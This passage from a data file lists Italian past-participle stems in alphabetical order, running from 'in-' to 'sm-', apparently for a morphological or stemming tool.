nnovat","inoculat","inoltrat","inondat","inorgoglit","inorpellat","inorridit","inquadrat","inquietat","inquisit","insabbiat","insacchettat","insalat","insaldat","insalivat","insanguinat","insaponat","insaporit","inscatolat","inscenat","inscritt","insecchit","insediat","insegnat","inseguit","insellat","inselvatichit","inserit","insidiat","insignit","insilat","insinuat","insolentit","insonnolit","insonorizzat","insordit","insospettit","insozzat","inspessit","inspirat","installat","instaurat","insterilit","instillat","instituit","instradat","insudiciat","insufflat","insultat","insuperbit","intabaccat","intabarrat","intaccat","intagliat","intarsiat","intasat","intascat","intavolat","integrat","intelaiat","intelat","intellettualizzat","intenebrat","intenerit","intensificat","intentat","intepidit","intercalat","intercambiat","intercettat","intercis","interclus","intercollegat","interconness","interconvertit","interdett","interessat","interfacciat","interfogliat","interfoliat","interiorizzat","interlacciat","interlineat","intermess","intermezzat","internalizzat","internat","internazionalizzat","interpellat","interpenetrat","interpolat","interpost","interpretat","interpunt","interrat","interrogat","interrott","intersecat","intervallat","intervistat","intes","intessut","intestardit","intestat","intiepidit","intimat","intimidit","intimorit","intint","intirizzit","intitolat","intonacat","intonat","intontit","intorbidat","intorbidit","intorpidit","intortat","intossicat","intralciat","intramess","intramezzat","intrappolat","intrapres","intrattenut","intravedut","intravist","intravvedut","intravvist","intrecciat","intricat","intrigat","intrinsecat","intrippat","intris","introdott","introfless","introiettat","introitat","intromess","intronat","intronizzat","intrudut","intrufolat","intrugliat","intruppat","intrus","intubat","intubettat","intuit","inumat","inumidit","inurbat","inutilizzat","invaghit","invaginat","invalidat","invasat","invas","invelenit","inventariat","inventat","invenut","inverdit","invergat","inverniciat","investigat","investit","invetriat","inviat","invidiat","invigorit","inviluppat","invischiat","invitat","invocat","invogliat","involat","involgarit","involtat","involt","inzaccherat","inzeppat","inzigat","inzolfat","inzuccat","inzuccherat","inzuppat","iodurat","ionizzat","ipertrofizzat","ipnotizzat","ipostatizzat","ipotecat","ipotizzat","iridat","irradiat","irraggiat","irreggimentat","irretit","irrigat","irrigidit","irris","irritat","irrobustit","irrogat","irrorat","irrugginit","irruvidit","ischeletrit","iscritt","islamizzat","isolat","isomerizzat","ispanizzat","ispessit","ispezionat","ispirat","issat","istallat","istanziat","istaurat","isterilit","istigat","istillat","istituit","istituzionalizzat","istoriat","istradat","istruit","istupidit","italianeggiat","italianizzat","iterat","iudicat","killerat","labbreggiat","labializzat","laccat","lacerat","laconizzat","lacrimat","ladroneggiat","lagnat","lagrimat","laicizzat","lambiccat","lambit","lamentat","laminat","lanciat","lapidat","lappat","lardat","lardellat","largit","larvat","lascat","lasciat","lastricat","latinizzat","laudat","laureat","lavat","lavorat","leccat","legalizzat","legat","leggicchiat","leggiucchiat","legittimat","legittimizzat","legnat","lemmatizzat","lenit","lesinat","lesionat","les","lessat","lett","levat","levigat","liberalizzat","liberat","licenziat","lievitat","liftat","lignificat","limat","limitat","linciat","linearizzat","lineat","linkat","liofilizzat","liquefatt","liquidat","lisat","lisciat","lisciviat","listat","litografat","livellat","lizzat","lobotomizzat","localizzat","locat","lodat","logorat","lordat","lottat","lottizzat","lubrificat","lucchettat","lucidat","lucrat","lumeggiat","luppolizzat","lusingat","lussat","lustrat","macadamizzat","macchiat","macchinat","macellat","macerat","macinat","maciullat","maggesat","maggiorat","magnat","magnetizzat","magnificat","maiolicat","maledett","malfatt","malignat","malmenat","malmess","maltat","maltrattat","malvedut","malversat","malvist","malvolut","mandat","mandrinat","manducat","maneggiat","manganat","manganellat","mangiat","mangiucchiat","manifatturat","manifestat","manimess","manipolat","manlevat","manomess","manoscritt","manovrat","mansuefatt","mantecat","mantenutas","mantenut","manualizzat","manutenut","mappat","marcat","marchiat","marcit","marezzat","marginalizzat","marginat","margottat","marimess","marinat","maritat","marmorizzat","marnat","marocchinat","martellat","martellinat","martirizzat","martoriat","mascherat","maschiat","maschiettat","mascolinizzat","massacrat","massaggiat","massellat","massicciat","massificat","massimat","massimizzat","mastectomizzat","masterizzat","masticat","masturbat","matematizzat","materializzat","matricolat","mattonat","maturat","mazziat","mazzolat","meccanizzat","medagliat","mediat","medicalizzat","medicat","meditat","membrat","memorizzat","menat","mendicat","menomat","mentovat","menzionat","meravigliat","mercanteggiat","mercerizzat","mercificat","meriat","meridionalizzat","meritat","merlat","merlettat","mers","mesciat","mesciut","mescolat","mescut","mesmerizzat","messaggiat","mess","messoc","mestat","mesticat","mestruat","metabolizzat","metaforeggiat","metaforizzat","metallizzat","metamorfizzat","metamorfosat","metanizzat","metilat","metodizzat","microfilmat","microfonat","microminiaturizzat","micronizzat","mietut","migliorat","militarizzat","millantat","millimetrat","mimat","mimeografat","mimetizzat","minacciat","minat","minchionat","mineralizzat","miniat","miniaturizzat","minimizzat","minuit","minuzzat","miracolat","miscelat","mischiat","misconosciut","missat","mistificat","misturat","misurat","miticizzat","mitigat","mitizzat","mitragliat","mitrat","mixat","mobiliat","mobilitat","mobilizzat","modanat","modellat","modellizzat","moderat","modernizzat","modificat","modulat","molat","molestat","mollat","molleggiat","moltiplicat","monacat","mondat","mondializzat","monetarizzat","monetat","monetizzat","monitorat","monitorizzat","monocromatizzat","monopolizzat","monottongat","montat","monumentalizzat","mordenzat","mordicchiat","mormorat","morphat","morsicat","morsicchiat","mors","mortasat","mortificat","moss","mostrat","motivat","motorizzat","motteggiat","movimentat","mozzat","mugolat","mulcit","multat","multiplexat","mummificat","municipalizzat","munit","munt","murat","musat","musicat","mussat","mutat","mutilat","mutizzat","mutuat","nappat","narcotizzat","narrativizzat","narrat","nasalizzat","nascos","nascost","nastrat","naturaleggiat","naturalizzat","nauseat","naverat","navicat","navigat","nazificat","nazionalizzat","nebulizzat","necessitat","necrosat","necrotizzat","negat","negativizzat","neglett","negoziat","negreggiat","neologizzat","nerbat","nericat","nettat","neutralizzat","nevat","nevicat","nevischiat","nevrotizzat","nichelat","niellat","ninfeggiat","ninnat","ninnolat","nitratat","nitrificat","nobilitat","noiat","noleggiat","nomat","nominalizzat","nominat","normalizzat","normat","notat","notificat","notiziat","notricat","noverat","nuclearizzat","nudricat","nullificat","numerat","numerizzat","nuotat","nutrit","obbiettat","obbliat","obbligat","oberat","obiettat","obiettivat","obiettivizzat","obiurgat","obliat","obliterat","obnubilat","occasionat","occhieggiat","occidentalizzat","occis","occlus","occultat","occupat","ocheggiat","odiat","odorat","odorizzat","offerit","offert","offes","officiat","offiziat","offuscat","ofiziat","oggettivat","oggettivizzat","oggettualizzat","oliat","olit","olografat","oltraggiat","oltrapassat","oltrepassat","omaggiat","ombrat","ombreggiat","omess","omogeneizzat","omogenizzat","omologat","ondat","ondulat","onestat","onnubilat","onorat","opacat","opacizzat","operat","opinat","oppiat","oppignorat","oppilat","oppost","oppress","oppugnat","oprat","opsonizzat","optat","opzionat","orbitat","orchestrat","ordinat","ordit","orecchiat","organat","organicat","organizzat","orgasmat","orientalizzat","orientat","originat","origliat","orizzontat","orlat","orlettat","ormat","ormeggiat","ornat","orpellat","orrat","orripilat","ortogonalizzat","osannat","osat","osculat","oscurat","ospedalizzat","ospitat","ossedut","ossequiat","osservat","ossessionat","ossidat","ossificat","ossitonizzat","ostacolat","osteggiat","ostentat","ostinat","ostracizzat","ostruit","ottemperat","ottenebrat","ottenut","ottimalizzat","ottimat","ottimizzat","ottonat","ottriat","ottuplicat","otturat","ottus","ottuss","ovalizzat","ovariectomizzat","ovattat","overcloccat","ovrat","ovviat","ozieggiat","ozonizzat","pacat","pacciamat","pacificat","padroneggiat","paganizzat","pagat","paginat","palafittat","palatalizzat","palat","palesat","palettat","palettizzat","palificat","palleggiat","pallettizzat","palpat","palpeggiat","panat","panneggiat","panoramicat","pappat","paracadutat","parafat","paraffinat","parafrasat","paragonat","paragrafat","paralizzat","parallelizzat","parametrat","parametrizzat","parassitat","parat","parcat","parcellizzat","parcheggiat","pareggiat","parificat","parkerizzat","parlat","parlucchiat","parodiat","partecipat","particolareggiat","particolarizzat","partizionat","partorit","parzializzat","pasciut","pascolat","passat","passeggiat","passionat","passivat","pasticciat","pastorizzat","pasturat","patinat","patit","patrocinat","patteggiat","pattugliat","pattuit","paventat","pavesat","pavimentat","pavoneggiat","pazziat","pedinat","pedonalizzat","peggiorat","pelat","pellettizzat","penalizzat","penetrat","pennellat","pensat","pensionat","pentit","pepat","peptonizzat","peragrat","percentualizzat","percepit","percolat","percors","percoss","perdonat","perdott","perdut","perequat","perfatt","perfezionat","perforat","performat","perit","periziat","perlustrat","permeat","permess","perorat","perpetrat","perpetuat","perplimut","perquisit","perscrutat","perseguitat","perseguit","pers","personalizzat","personificat","persuas","perturbat","pervas","pervertit","pesat","pescat","pestat","petrarcheggiat","pettegolat","pettinat","piagat","piaggiat","piallat","pianeggiat","pianificat","piantat","piantatal","piantat","piant","piantonat","piantumat","piastrellat","piatit","piazzat","picchettat","picchiat","picchierellat","picchiettat","picconat","piegat","pieghettat","pietrificat","pigiat","pigliat","pigmentat","pignorat","pigolat","pilotat","pimentat","pint","pinzat","piombat","piovigginat","piovut","pipat","pippat","piratat","pirogenat","pisciat","pitoccat","pittat","pitturat","pizzicat","pizzicottat","placat","placcat","plagiat","plasmat","plasticat","plastificat","platinat","plissettat","pluralizzat","poetat","poeticizzat","poggiat","polarizzat","poligrafat","polimerizzat","politicizzat","polverizzat","pomiciat","pompat","ponderat","ponzat","popolarizzat","popolat","poppat","porcellanat","porfirizzat","portat","portes","port","porzionat","posat","posdatat","positivizzat","posizionat","pospost","possedut","postat","postdatat","posteggiat","posticipat","postillat","post","postsincronizzat","postulat","potabilizzat","potat","potenziat","potut","pralinat","praticat","preaccennat","preannunciat","preannunziat","preavvertit","preavvisat","precaricat","precedut","precettat","precint","precisat","preclus","precompilat","precompress","preconfezionat","preconizzat","preconosciut","precors","precostituit","predat","predefinit","predestinat","predeterminat","predett","predicat","predigerit","predilett","predispost","preelett","preesistut","prefabbricat","prefat","prefatt","prefazionat","preferit","prefigurat","prefinanziat","prefissat","prefiss","preformat","pregat","pregiat","pregiudicat","pregustat","preimpregnat","prelevat","premeditat","premescolat","premess","premiat","premonit","premunit","premurat","premut","prenotat","preoccupat","preordinat","preparat","prepensionat","prepigmentat","prepost","preprogrammat","preraffreddat","prerefrigerat","preregistrat","preregolat","preriscaldat","pres","presagit","presaput","presasel","prescelt","prescritt","presedut","presegnalat","preselezionat","presentat","presentit","preservat","presidiat","presiedut","pres","pressat","press","pressurizzat","prestabilit","prestampat","prestat","prestigiat","presunt","presuppost","pretermess","pretes","pretrattat","prevaricat","prevedut","prevendut","preventivat","prevenut","previst","prezzat","prezzolat","principiat","privatizzat","privat","privilegiat","problematizzat","procacciat","processat","proclamat","procrastinat","procreat","procurat","prodigat","prodott","profanat","proferit","professat","professionalizzat","profetat","profetizzat","profferit","profilat","profondat","profumat","profus","progettat","prognosticat","programmat","proibit","proiettat","proletarizzat","prolungat","promanat","promess","promoss","promozionat","promulgat","pronosticat","pronunciat","pronunziat","propagandat","propagat","propagginat","propalat","propinat","propiziat","proporzionat","propost","propugnat","propuls","prorogat","prosciolt","prosciugat","proscritt","proseguit","prospettat","prosternat","prostes","prostituit","prostrat","prosunt","protes","protestat","protett","protocollat","protonat","protratt","protrus","provat","provedut","provincializzat","provist","provocat","provvedut","provvist","psicanalizzat","psichiatrizzat","psicoanalizzat","psicologizzat","pubblicat","pubblicizzat","puddellat","pugnalat","pulit","pungolat","punit","puntat","punteggiat","puntellat","punt","puntualizzat","punzecchiat","punzonat","purgat","purificat","putit","putrefatt","putrit","quadrat","quadrettat","quadriennalizzat","quadruplicat","qualificat","quantificat","quantizzat","querelat","questuat","quetat","quietanzat","quietat","quintessenziat","quintuplicat","quotat","quotizzat","rabberciat","rabboccat","rabbonit","rabbuffat","rabuffat","raccapezzat","raccapricciat","raccattat","raccerchiat","racces","racchetat","racchius","raccolt","raccolt","raccomandat","raccomodat","raccontat","raccorciat","raccorcit","raccordat","raccostat","raccozzat","racemizzat","racimolat","radazzat","raddensat","raddobbat","raddolcit","raddoppiat","raddott","raddrizzat","radiat","radicalizzat","radioassistit","radioattivat","radiocomandat","radiodiffus","radiografat","radioguidat","radiolocalizzat","radiomarcat","radiotelegrafat","radiotrasmess","radunat","raffazzonat","raffermat","raffigurat","raffilat","raffinat","rafforzat","raffreddat","raffrenat","raffrescat","raffrontat","raggelat","raggentilit","ragghiat","raggirat","raggiunt","raggiustat","raggomitolat","raggranchiat","raggranchit","raggranellat","raggrinzat","raggrinzit","raggrumat","raggruppat","raggruzzolat","ragguagliat","ralingat","rallegrat","rallentat","ramat","ramazzat","rammagliat","rammaricat","rammemorat","rammendat","rammentat","rammodernat","rammollit","rammorbidit","rampognat","randellat","randomizzat","rannicchiat","rannuvolat","ranzat","rapat","rapinat","rapit","rappacificat","rappat","rappattumat","rappezzat","rapportat","rappresantat","rappresentat","rappres","rarefatt","rasat","raschiat","raschiettat","rasentat","ras","raspat","rassegnat","rasserenat","rassettat","rassicurat","rassodat","rassomigliat","rassottigliat","rassunt","rastrellat","rastremat","rateat","rateizzat","ratificat","ratinat","rattizzat","rattoppat","rattort","rattrappit","rattristat","rattristit","raunat","ravvalorat","ravvedut","ravviat","ravvicinat","ravviluppat","ravvisat","ravvist","ravvivat","ravvolt","ravvoltolat","razionalizzat","razionat","razziat","razzolat","realizzat","reassunt","recapitat","recat","recedut","recensit","recepit","recidivat","recintat","recint","reciprocat","recis","recitat","reclamat","reclamizzat","reclinat","reclus","reclutat","recuperat","redarguit","redatt","redazzat","reddut","redent","redistribuit","redott","referenziat","refertat","refilat","refless","reflettut","refrant","refrigerat","regalat","regimat","regimentat","regionalizzat","registrat","regolamentat","regolarizzat","regolat","reidratat","reificat","reimbarcat","reimmers","reimmess","reimparat","reimpastat","reimpiantat","reimpiegat","reimportat","reimpostat","reincarcerat","reincaricat","reincarnat","reincis","reincontrat","reindirizzat","reindustrializzat","reinfettat","reingaggiat","reinizializzat","reinnestat","reinoltrat","reinscritt","reinsediat","reinserit","reinstallat","reinstaurat","reintegrat","reinterpretat","reintitolat","reintrodott","reinventat","reinvestit","reiterat","relativizzat","relazionat","relegat","remixat","remunerat","renderizzat","reperit","repertat","replicat","repress","repuls","reputat","requisit","resciss","resecat","resettat","residuat","resinificat","res","resolat","resolt","respint","respirat","responsabilizzat","respost","restaurat","restituit","resunt","resuscitat","reticolat","retinat","retribuit","retrocedut","retrocess","retrodatat","rettificat","rett","reumatizzat","revisionat","revocat","riabbassat","riabbellit","riabbonat","riabbottonat","riabbracciat","riabilitat","riabitat","riabituat","riaccadut","riaccasat","riacces","riaccettat","riacchiappat","riacciuffat","riaccolt","riaccomodat","riaccompagnat","riaccordat","riaccostat","riaccreditat","riacquisit","riacquistat","riacutizzat","riadattat","riaddestrat","riaddormentat","riadoperat","riaffacciat","riaffermat","riafferrat","riaffiorat","riaffittat","riaffrontat","riagganciat","riaggiornat","riaggiustat","riaggravat","riaggregat","riagguantat","rialimentat","riallacciat","riallargat","riallineat","riallocat","riallungat","rialzat","riamat","riambientat","riammalat","riammess","riammodernat","riammogliat","rianimat","rianness","riannodat","riannunciat","riapert","riappacificat","riappaltat","riapparecchiat","riapparit","riappes","riappiccicat","riapplicat","riappres","riapprodat","riappropriat","riapprovat","riarmat","riarrangiat","riarredat","riascoltat","riasfaltat","riassalit","riassaporat","riassegnat","riassemblat","riassestat","riassettat","riassicurat","riassociat","riassopit","riassorbit","riassunt","riattaccat","riattat","riattes","riattint","riattivat","riattizzat","riattraversat","riaumentat","riavut","riavventat","riavvertit","riavviat","riavvicinat","riavvint","riavvisat","riavvistat","riavvolt","riazzuffat","ribaciat","ribadit","ribaltat","ribassat","ribattezzat","ribattut","ribellat","ribenedett","ribevut","ributtat","ricacciat","ricalat","ricalcat","ricalcificat","ricalcitrat","ricalcolat","ricalibrat","ricamat","ricambiat","ricanalizzat","ricandidat","ricantat","ricapitalizzat","ricapitolat","ricaricat","ricategorizzat","ricattat","ricavat","ricelebrat","ricercat","ricetrasmess","ricettat","ricevut","richiamat","richiest","richius","riciclat","ricint","ricircolat","riclassificat","ricodificat","ricollegat","ricollocat","ricolmat","ricolonizzat","ricolorat","ricolorit","ricoltivat","ricombinat","ricominciat","ricommess","ricomparit","ricompattat","ricompensat","ricomperat","ricompilat","ricompiut","ricompost","ricomprat","ricompress","ricomunicat","riconcedut","riconcess","riconciliat","ricondizionat","ricondott","riconfermat","riconfezionat","riconfigurat","riconfortat","riconfus","ricongelat","ricongiunt","riconness","riconosciut","riconquistat","riconsacrat","riconsegnat","riconsiderat","riconsigliat","riconsolat","ricontat","ricontattat","ricontrattat","ricontratt","ricontrollat","riconvalidat","riconvenut","riconvertit","riconvint","riconvocat","riconvogliat","ricopert","ricopiat","ricordat","ricoricat","ricorrett","ricospars","ricostituit","ricostrett","ricostruit","ricott","ricoverat","ricreat","ricristallizzat","ricrocifiss","ricucit","ricuperat","ricusat","ridat","ridecorat","ridefinit","ridenominat","ridestat","rideterminat","ridett","ridicolizzat","ridigitat","ridimensionat","ridipint","ridisces","ridisciolt","ridisciplinat","ridiscuss","ridisegnat","ridisfatt","ridispost","ridistes","ridistint","ridistribuit","ridivis","ridomandat","ridonat","ridondat","ridorat","ridotat","ridott","ridovut","riecheggiat","riedificat","rieducat","rielaborat","rielett","riemess","riempit","riempiut","rientrat","riepilogat","riequilibrat","riequipaggiat","riesaminat","rieseguit","riesercitat","riesplos","riesportat","riespost","riespress","riespuls","riestes","riesumat","rietichettat","rievaporat","rievocat","rifabbricat","rifasciat","rifatt","rifendut","riferit","rifermat","rifermentat","rifess","rificcat","rifilat","rifiltrat","rifinanziat","rifinit","rifirmat","rifischiat","rifiss","rifiutat","rifless","riflettut","rifocillat","rifoderat","rifondat","riforestat","riforgiat","riformat","riformattat","riformulat","rifornit","rifrant","rifritt","rifrugat","rifuggit","rifugiat","rifus","rigassificat","rigat","rigelat","rigenerat","rigettat","righettat","rigiocat","rigirat","rigiudicat","rigiunt","rigodut","rigonfiat","rigovernat","riguadagnat","riguardat","rigurgitat","rilanciat","rilasciat","rilassat","rilavat","rilavorat","rilegat","rilett","rilevat","rilocalizzat","rimagliat","rimandat","rimaneggiat","rimangiat","rimappat","rimarcat","rimarchiat","rimarginat","rimaritat","rimasticat","rimat","rimbacuccat","rimbaldanzit","rimbarcat","rimbeccat","rimbecillit","rimbellit","rimbiancat","rimbiondit","rimboccat","rimbombat","rimborsat","rimboscat","rimboschit","rimbrottat","rimediat","rimembrat","rimemorat","rimenat","rimeritat","rimescolat","rimess","rimestat","rimilitarizzat","rimirat","rimischiat","rimisurat","rimodellat","rimodernat","rimodulat","rimondat","rimontat","rimorchiat","rimors","rimoss","rimostrat","rimotivat","rimpacchettat","rimpadronit","rimpaginat","rimpagliat","rimpannucciat","rimpastat","rimpatriat","rimpiallacciat","rimpiant","rimpiattat","rimpiazzat","rimpicciolit","rimpiccolit","rimpiegat","rimpinguat","rimpinzat","rimpolpat","rimpossessat","rimpress","rimproverat","rimuginat","rimunerat","rimunt","rimusicat","rimutat","rinarrat","rinascost","rincalcat","rincalzat","rincamminat","rincantucciat","rincarat","rincarcerat","rincarnat","rincentrat","rinchiest","rinchiodat","rinchius","rincitrullit","rincivilit","rincoglionit","rincollat","rincominciat","rincontrat","rincoraggiat","rincorat","rincorporat","rincors","rincretinit","rincrudit","rinculcat","rincuorat","rindossat","rindurit","rinegoziat","rinfacciat","rinfagottat","rinfiammat","rinfiancat","rinfilat","rinfittit","rinfocolat","rinfoderat","rinforzat","rinfrancat","rinfrant","rinfrescat","rinfus","ringagliardit","ringalluzzit","ringiovanit","ringiovenit","ringoiat","ringorgat","ringraziat","ringuainat","rinnamorat","rinnegat","rinnestat","rinnovat","rinnovellat","rinociut","rinomat","rinominat","rinormalizzat","rinquadrat","rinsaccat","rinsaldat","rinsanguat","rinselvatichit","rinselvat","rinserrat","rintanat","rintasat","rintascat","rintavolat","rintenerit","rinterrat","rinterrogat","rintes","rintiepidit","rintoccat","rintonacat","rintontit","rintorpidit","rintracciat","rintrodott","rintronat","rintuzzat","rinunciat","rinunziat","rinutrit","rinvangat","rinvasat","rinvenut","rinverdit","rinvestit","rinviat","rinvigorit","rinvilit","rinvitat","rinvoltat","rinvolt","rinvoltolat","rinzaffat","rinzeppat","riobbligat","rioccupat","rioffert","rioffes","rioperat","riordinat","riorganizzat","riorientat","riosservat","riottenut","riottimizzat","riotturat","ripagat","riparametrizzat","riparat","ripartit","ripassat","ripercors","ripercoss","riperdut","ripers","ripesat","ripescat","ripestat","ripetut","ripianat","ripianificat","ripiantat","ripiant","ripicchiat","ripiegat","ripigliat","ripint","ripiovut","ripitturat","riplasmat","ripolarizzat","ripopolat","riportat","riport","riposat","riposizionat","ripossedut","ripost","ripotut","ripresentat","ripres","riprestat","ripretes","riprincipiat","ripristinat","riprivatizzat","riprodott","riprogettat","riprogrammat","ripromess","ripropost","riprotett","riprovat","riprovvedut","riprovvist","ripubblicat","ripudiat","ripugnat","ripulit","ripuntat","ripunt","ripurgat","riputat","riquadrat","riqualificat","rires","rirott","risaldat","risalit","risaltat","risalutat","risanat","risaput","risarcit","riscalat","riscaldat","riscattat","riscelt","risces","rischiarat","rischiat","risciacquat","risciolt","riscommess","riscontat","riscontrat","risconvolt","riscopert","riscoppiat","riscors","riscoss","riscritt","risecat","risedut","risegat","risegnat","riselciat","riselezionat","riseminat","risentit","riseppellit","riserbat","riservat","risicat","risigillat","risistemat","ris","risoffiat","risoggiunt","risolat","risolidificat","risollevat","risolt","risommat","risommers","risonat","risorpassat","risospes","risospint","risottomess","risparmiat","rispars","rispecchiat","rispedit","rispent","rispers","rispettat","rispiegat","rispint","rispolverat","risposat","rispost","rissat","ristabilit","ristagnat","ristampat","ristaurat","ristes","ristilizzat","ristorat","ristrett","ristrutt","ristrutturat","ristuccat","ristudiat","risucchiat","risultat","risuolat","risuonat","risuscitat","risvegliat","risvolt","ritagliat","ritarat","ritardat","ritemprat","ritentat","ritenut","riters","rites","ritint","ritirat","ritoccat","ritolt","ritort","ritracciat","ritradott","ritrascors","ritrascritt","ritrasferit","ritrasformat","ritrasmess","ritraspost","ritrattat","ritratt","ritrovat","ritualizzat","rituffat","riudit","riunificat","riunit","riusat","riutilizzat","rivaccinat","rivaleggiat","rivalorizzat","rivals","rivalutat","rivangat","rivedut","rivelat","rivendicat","rivendut","riverberat","riverit","riverniciat","riversat","rivestit","rivettat","rivint","rivisitat","rivissut","rivist","rivitalizzat","rivivificat","rivoltat","rivolt","rivoltolat","rivolut","rivoluzionat","rizappat","rizzat","robotizzat","rodat","rogat","rollat","romanizzat","romanticizzat","romanzat","roncolat","rosicat","rosicchiat","ros","rosolat","rotacizzat","rotat","roteat","rotolat","rottamat","rott","rovesciat","rovinat","rovistat","rubacchiat","rubat","rullat","ruminat","ruotat","russificat","ruzzolat","sabbiat","sabotat","saccarificat","saccheggiat","sacralizzat","sacramentat","sacrificat","saettat","saggiat","sagginat","sagomat","salamoiat","salariat","salassat","salat","saldat","salificat","salinizzat","salit","salmeggiat","salmistrat","salpat","saltat","salutat","salvaguardat","salvat","sanat","sancit","sanforizzat","sanificat","sanitizzat","santificat","sanzionat","saponificat","saput","sarchiat","sarchiellat","sartiat","satellizzat","satinat","satireggiat","satisfatt","satollat","saturat","saziat","sbaccellat","sbaciucchiat","sbafat","sbaffat","sbalestrat","sballat","sballottat","sballottolat","sbalordit","sbalzat","sbancat","sbandat","sbandierat","sbandit","sbaraccat","sbaragliat","sbarazzat","sbarbat","sbarcat","sbardat","sbarrat","sbassat","sbastit","sbatacchiat","sbattezzat","sbattut","sbeccat","sbeffeggiat","sbellicat","sbendat","sbertucciat","sbiadit","sbiancat","sbianchit","sbiellat","sbiettat","sbigottit","sbilanciat","sbirbat","sbirciat","sbizzarrit","sbloccat","sbobinat","sboccat","sbocconcellat","sbollentat","sbolognat","sborniat","sborsat","sboscat","sbottonat","sbozzat","sbozzimat","sbozzolat","sbracat","sbracciat","sbraciat","sbraitat","sbranat","sbrancat","sbrattat","sbreccat","sbriciolat","sbrigat","sbrigliat","sbrinat","sbrindellat","sbrodolat","sbrogliat","sbronzat","sbruffat","sbucciat","sbudellat","sbuffat","sbugiardat","sbullettat","sbullonat","sburrat","scacazzat","scacchiat","scacciat","scaccolat","scadenzat","scafat","scaffalat","scagionat","scagliat","scaglionat","scalat","scalcat","scalcinat","scaldat","scalettat","scalfat","scalfit","scalmanat","scaloppat","scalpat","scalpellat","scalpellinat","scaltrit","scalzat","scambiat","scamiciat","scamosciat","scamozzat","scampat","scampatal","scampat","scamuffat","scanalat","scancellat","scandagliat","scandalizzat","scandit","scannat","scannellat","scannerat","scannerizat","scannerizzat","scansat","scansionat","scapecchiat","scapezzat","scapicollat","scapigliat","scapitozzat","scapocchiat","scappat","scappellat","scappottat","scapricciat","scapsulat","scarabocchiat","scaracchiat","scaraventat","scarcerat","scardassat","scardat","scardinat","scaricat","scarificat","scarmigliat","scarnat","scarnificat","scarnit","scarrellat","scarrocciat","scarrozzat","scarruffat","scartabellat","scartat","scartavetrat","scartinat","scartocciat","scassat","scassinat","scatenat","scattat","scavalcat","scavallat","scavat","scavezzat","scazzottat","scekerat","scelt","scempiat","sceneggiat","scernut","scervellat","sces","sceverat","schedat","schedulat","scheggiat","scheletrit","schematizzat","schermat","schermit","schermografat","schernit","schiacciat","schiaffat","schiaffeggiat","schiantat","schiarit","schiavardat","schiavizzat","schiccherat","schierat","schifat","schinciat","schioccat","schiodat","schiumat","schius","schivat","schizzat","schizzettat","sciabolat","sciabordat","sciacquat","scialacquat","sciamanizzat","sciamannat","sciancat","sciancrat","scimmieggiat","scimmiottat","scint","scioccat","sciolinat","sciolt","sciorinat","scippat","sciroppat","sciss","sciupacchiat","sciupat","sclamat","sclerosat","sclerotizzat","scoccat","scocciat","scodat","scodellat","scoiat","scolarizzat","scolat","scollacciat","scollat","scollegat","scolorat","scolorit","scolpat","scolpit","scombaciat","scombinat","scombussolat","scommess","scomodat","scompaginat","scompagnat","scompartit","scompattat","scompensat","scompiacut","scompigliat","scompost","scomputat","scomunicat","sconcertat","sconciat","sconclus","sconfessat","sconficcat","sconfitt","sconfortat","sconfus","scongelat","scongiurat","sconness","sconosciut","sconquassat","sconsacrat","sconsigliat","sconsolat","scontat","scontentat","scontornat","scontort","scontrat","sconvolt","scopat","scoperchiat","scopert","scopiazzat","scoraggiat","scoraggit","scorat","scorazzat","scorciat","scorcit","scordat","scoreggiat","scorificat","scornat","scorniciat","scoronat","scorporat","scorrazzat","scorreggiat","scorrett","scors","scortat","scortecciat","scorticat","scort","scorzat","scosces","scosciat","scoss","scostat","scostolat","scotennat","scoticat","scotolat","scotomizzat","scottat","scott","scovat","scovert","scozzat","scozzonat","screditat","scremat","screpolat","screziat","scribacchiat","scriminat","scristianizzat","scritt","scritturat","scroccat","scrocchiat","scrollat","scrostat","scrutat","scrutinat","scucit","scudisciat","scuffiat","sculacciat","sculettat","scuoiat","scuriosat","scurit","scusat","sdaziat","sdebitat","sdegnat","sdemanializzat","sdentat","sdilinquit","sdoganat","sdolut","sdoppiat","sdraiat","sdrammatizzat","sdrucit","secat","seccat","secernut","secolarizzat","secondat","secretat","secret","sedat","sedentarizzat","sedott","segat","seghettat","segmentat","segnalat","segnat","segnoreggiat","segregat","segretat","seguitat","seguit","selciat","selezionat","sellat","sembrat","sementat","semicint","seminat","semplificat","senilizzat","sensibilizzat","sensorizzat","sentenziat","sentit","sentitasel","sentit","sentit","separat","sepolt","seppellit","sequenziat","sequestrat","serbat","serrat","servit","servoassistit","sessualizzat","sestuplicat","setacciat","setificat","settat","settorializzat","settuplicat","seviziat","sezionat","sfaccettat","sfagliat","sfaldat","sfalsat","sfamat","sfanalat","sfangat","sfarinat","sfasat","sfasciat","sfatat","sfatt","sfavillat","sfavorit","sfegatat","sfeltrat","sfendut","sferragliat","sferrat","sferzat","sfess","sfiancat","sfiatat","sfiat","sfibbiat","sfibrat","sfidat","sfiduciat","sfigurat","sfilat","sfilettat","sfinit","sfioccat","sfiorat","sfittat","sfocat","sfociat","sfoderat","sfogat","sfoggiat","sfogliat","sfollat","sfoltit","sfondat","sforacchiat","sforat","sforbiciat","sformat","sfornaciat","sfornat","sfornit","sforzat","sfottut","sfracellat","sfrangiat","sfrascat","sfratat","sfrattat","sfrecciat","sfregat","sfregiat","sfrenat","sfrisat","sfrondat","sfrucugliat","sfruculiat","sfruttat","sfumat","sfuocat","sgamat","sganasciat","sganciat","sgarbugliat","sgattaiolat","sgelat","sghiacciat","sgocciolat","sgolat","sgomberat","sgombrat","sgomentat","sgominat","sgomitat","sgomitolat","sgonfiat","sgorbiat","sgottat","sgovernat","sgozzat","sgraffiat","sgraffignat","sgranat","sgranchit","sgranellat","sgrassat","sgravat","sgretolat","sgridat","sgrommat","sgrondat","sgroppat","sgrossat","sgrovigliat","sgrugnat","sguainat","sgualcit","sguanciat","sguarnit","sguinzagliat","sgusciat","shakerat","shoccat","shuntat","sigillat","siglat","significat","signoreggiat","silenziat","silicizzat","sillabat","sillogizzat","silurat","simboleggiat","simbolizzat","simmetrizzat","simpatizzat","simulat","sincerat","sincopat","sincretizzat","sincronizzat","sindacalizzat","sindacat","singolarizzat","sinistrat","sinizzat","sinterizzat","sintetizzat","sintonizzat","siringat","sistematizzat","sistemat","situat","slabbrat","slacciat","slamat","slanciat","slappolat","slargat","slavizzat","slegat","slentat","slinguat","slogat","sloggat","sloggiat","slombat","slungat","smaccat","smacchiat","smagliat","smagnetizzat","smagrit","smaliziat","smallat","smaltat","smaltit","smammat","smanacciat","smangiat","smantellat","smarcat","smarginat","smarrit","smascellat","smascherat","smaterializzat","smattonat","smembrat","smentit","smerciat","smerdat","smerigliat","smerlat","smerlettat","sm